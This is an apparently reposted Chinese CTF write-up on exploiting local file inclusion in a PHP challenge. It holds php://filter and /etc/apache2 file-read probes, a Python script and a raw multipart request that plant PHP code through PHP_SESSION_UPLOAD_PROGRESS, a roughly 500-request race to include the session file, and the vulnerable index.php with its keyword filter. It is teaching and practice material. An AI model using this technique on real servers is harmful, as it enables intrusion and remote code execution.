记一次PHP_SESSION_UPLOAD_PROGRESS的本地文件包含

Posted 末 初

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次PHP_SESSION_UPLOAD_PROGRESS的本地文件包含相关的知识,希望对你有一定的参考价值。

来源于今天一位朋友给的题目,叫我帮忙看看

在这里插入图片描述
题目名字是有提示LFI,这个登录框测试了一下发现输入什么都是返回一样,也没有有注入的迹象,url很明显可能存在LFI,尝试下读取login.php

/?page=php://filter/convert.base64-encode/resource=login.php

在这里插入图片描述
有过滤,简单fuzz了下发现过滤了如下

base、file、http、ftp、phar、gopher、data、zip、read、rot、string、decode、flag、.....

但是直接包含也没什么问题
在这里插入图片描述
本来的想法是构造shell被日志文件记录,然后包含日志文件来getshell,但是通过很多配置文件找到日志文件位置竟然无法包含,这就挺迷的。

 /?page=/etc/apache2/apache2.conf

在这里插入图片描述

/?page=/etc/apache2/sites-enabled/000-default.conf

在这里插入图片描述

/?page=/etc/apache2/envvars

在这里插入图片描述
根据这些配置文件的信息,日志文件位置应该是

/?page=/var/log/apache2/access.log

在这里插入图片描述
啥都没有回显出来,构造shell包含也无法起作用。

然后想起来,前些日子安恒月赛的时候,当PHP Version>5.4在默认情况下,可以利用到PHP_SESSION_UPLOAD_PROGRESS来初始化session,并且会把上传文件的信息记录在session文件中,待上传文件结束后清除存储上传文件信息session文件。

更多关于session.upload_progress请参考:https://www.freebuf.com/vuls/202819.html

那我们就可以通过把上传的文件改为shell内容,然后通过包含来执行我们shell内容,至于session默认地址就那常见的几个,简单测试下就测试出来了

# -*- coding: utf-8 -*-
import requests


url = 'http://xxx.xxx.xxx.xxx:xxxx/?page=/tmp/sess_mochu7'
mydata = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php phpinfo();?>'} 
myfile = {'file':('mochu7.txt','mochu7')}
mycookie = {'PHPSESSID': 'mochu7'}
r = requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
print(r.request.body.decode('utf8'))

得到POST内容

--dca6fb822b1647c7236dfa8b08e1e7fe
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php phpinfo();?>
--dca6fb822b1647c7236dfa8b08e1e7fe
Content-Disposition: form-data; name="file"; filename="mochu7.txt"

mochu7
--dca6fb822b1647c7236dfa8b08e1e7fe--

完整一下POST数据包,更改下Content-Type即可

POST /?page=/tmp/sess_mochu7 HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 351
Content-Type: multipart/form-data; boundary=---------------------------dca6fb822b1647c7236dfa8b08e1e7fe
Cookie: PHPSESSID=mochu7

-----------------------------dca6fb822b1647c7236dfa8b08e1e7fe
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php phpinfo();?>
-----------------------------dca6fb822b1647c7236dfa8b08e1e7fe
Content-Disposition: form-data; name="file"; filename="mochu7.txt"

mochu7
-----------------------------dca6fb822b1647c7236dfa8b08e1e7fe--

Intruder500左右个包即可有执行回显,类似条件竞争,抢在被清除前包含执行

PS:如500个包没有一个执行的,数量可以继续加,我这里测试的时候500是有个别个包能执行的
在这里插入图片描述
成功执行了shell,接下来切换下payload继续发包
在这里插入图片描述
发现可疑flag,/etc/.flag_JHb28snkjhASBvs.txt
在这里插入图片描述
读取即可
在这里插入图片描述
在这里插入图片描述
最后贴一下读取到源码
login.php

<?php error_reporting(0);?><!DOCTYPE html>
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<title>login</title>
	
	<meta name="viewport" content="width=device-width, initial-scale=1">
<!--===============================================================================================-->	
	<link rel="icon" type="image/png" href="http://web2.utctf.live:5006/static/images/icons/favicon.ico">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="./bootstrap.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="./font-awesome.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="./icon-font.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="./animate.css">
<!--===============================================================================================-->	
	<link rel="stylesheet" type="text/css" href="./hamburgers.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="./animsition.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="./select2.min.css">
<!--===============================================================================================-->	
	<link rel="stylesheet" type="text/css" href="./daterangepicker.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="./util.css">
	<link rel="stylesheet" type="text/css" href="./main.css">
<!--===============================================================================================-->
</head>
<body>
	
	<div class="limiter">
		<div class="container-login100">
			<div class="wrap-login100 p-b-160 p-t-50">
				<form class="login100-form validate-form" action="" method="post">
					<span class="login100-form-title p-b-43">
						Account Login
					</span>
					
					<div class="wrap-input100 rs1 validate-input" data-validate="Username is required">
						<input class="input100" type="text" name="username">
						<span class="label-input100">Username</span>
					</div>
					
					
					<div class="wrap-input100 rs2 validate-input" data-validate="Password is required">
						<input class="input100" type="password" name="password">
						<span class="label-input100">Password</span>
					</div>

					<div class="container-login100-form-btn">
						<button type="submit" class="login100-form-btn">
							Sign in
						</button>
					</div>
					
                </form>
			</div>
		</div>
	</div>
    
</body></html>

<?php

if (isset($_POST['username']) && isset($_POST['password'])) {
	$u = $_POST['username'];
	$p = $_POST['password'];
	echo("<script>alert('incorrect username or password');</script>");
}

?>

index.php

<?php
error_reporting(0);

if (isset($_GET['d3bug'])) {
	phpinfo();
}

if (isset($_GET['page'])) {
    $page = $_GET['page'];
    $filter = "/\\.\\.|base|file|gopher|http|ftp|phar|base|string|data|zip|compress|base|decode|read|pear|rot|crypt|pear|utf|flag/i";
    if (preg_match( $filter , $page) ) {
        die("hacker");
    }
    include $page;
} else {
    echo "<script>location.href='./?page=login.php'</script>";
}

以上是关于记一次PHP_SESSION_UPLOAD_PROGRESS的本地文件包含的主要内容,如果未能解决你的问题,请参考以下文章

记一次 Vue2 迁移 Vue3 的实践总结

记一次Selectable的误用

zabbix记一次简单的部署包方式安装一次过

记一次SqlServer骚操作——递归

记一次直播录屏

others-记一次图床迁移过程